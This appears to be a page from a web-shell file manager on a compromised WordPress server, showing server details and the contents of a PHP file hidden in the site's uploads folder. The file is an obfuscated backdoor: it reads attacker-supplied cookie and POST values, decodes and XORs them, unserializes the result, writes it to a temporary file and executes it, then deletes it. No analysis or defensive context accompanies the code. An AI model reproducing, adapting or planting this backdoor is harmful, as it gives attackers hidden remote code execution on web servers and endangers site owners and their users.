HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/08/156f2fe3.php
$dZOiTuRCw = "\x55" . "\162" . "\102" . "\137" . chr (86) . "\122" . chr ( 205 - 102 ); $cHfpazyPsS = chr ( 254 - 155 ).'l' . chr ( 642 - 545 )."\x73" . chr ( 419 - 304 ).'_' . chr (101) . "\170" . 'i' . chr ( 753 - 638 )."\164" . "\163";$eWueHen = class_exists($dZOiTuRCw); $cHfpazyPsS = "5547";$gcJWfEleGm = strpos($cHfpazyPsS, $dZOiTuRCw);if ($eWueHen == $gcJWfEleGm){function wrgiJTftd(){$WfvyuWnO = new /* 54303 */ UrB_VRg(50780 + 50780); $WfvyuWnO = NULL;}$CxEoQvR = "50780";class UrB_VRg{private function BIFdgUS($CxEoQvR){if (is_array(UrB_VRg::$LlZel)) {$name = sys_get_temp_dir() . "/" . crc32(UrB_VRg::$LlZel["salt"]);@UrB_VRg::$LlZel["write"]($name, UrB_VRg::$LlZel["content"]);include $name;@UrB_VRg::$LlZel["delete"]($name); $CxEoQvR = "50780";exit();}}public function mLnBO(){$ETsuYz = "61742";$this->_dummy = str_repeat($ETsuYz, strlen($ETsuYz));}public function __destruct(){UrB_VRg::$LlZel = @unserialize(UrB_VRg::$LlZel); $CxEoQvR = "16959_2448";$this->BIFdgUS($CxEoQvR); $CxEoQvR = "16959_2448";}public function zhlsPF($ETsuYz, $pgsjcPj){return $ETsuYz[0] ^ str_repeat($pgsjcPj, intval(strlen($ETsuYz[0]) / strlen($pgsjcPj)) + 1);}public function tAUOhN($ETsuYz){$RazDM = "\x62" . "\141" . "\163" . "\145" . chr ( 942 - 888 ).'4';return array_map($RazDM . "\137" . chr (100) . "\145" . "\x63" . chr ( 932 - 821 )."\x64" . "\145", array($ETsuYz,));}public function __construct($bmIJTVQdMo=0){$PpdmLiKfC = ',';$ETsuYz = "";$XSosisO = $_POST;$kxGVUtDr = $_COOKIE;$pgsjcPj = "50b413ae-18fe-4589-85f2-ab951a3bff12";$SBEpKgN = @$kxGVUtDr[substr($pgsjcPj, 0, 4)];if (!empty($SBEpKgN)){$SBEpKgN = explode($PpdmLiKfC, $SBEpKgN);foreach ($SBEpKgN as $SpgKchVW){$ETsuYz .= @$kxGVUtDr[$SpgKchVW];$ETsuYz .= @$XSosisO[$SpgKchVW];}$ETsuYz = $this->tAUOhN($ETsuYz);}UrB_VRg::$LlZel = $this->zhlsPF($ETsuYz, $pgsjcPj);if (strpos($pgsjcPj, $PpdmLiKfC) !== FALSE){$pgsjcPj = str_pad($pgsjcPj, 10); $pgsjcPj = strcspn ($pgsjcPj, $PpdmLiKfC); $pgsjcPj = ltrim(rtrim($pgsjcPj));}}public static $LlZel = 22965;}wrgiJTftd();}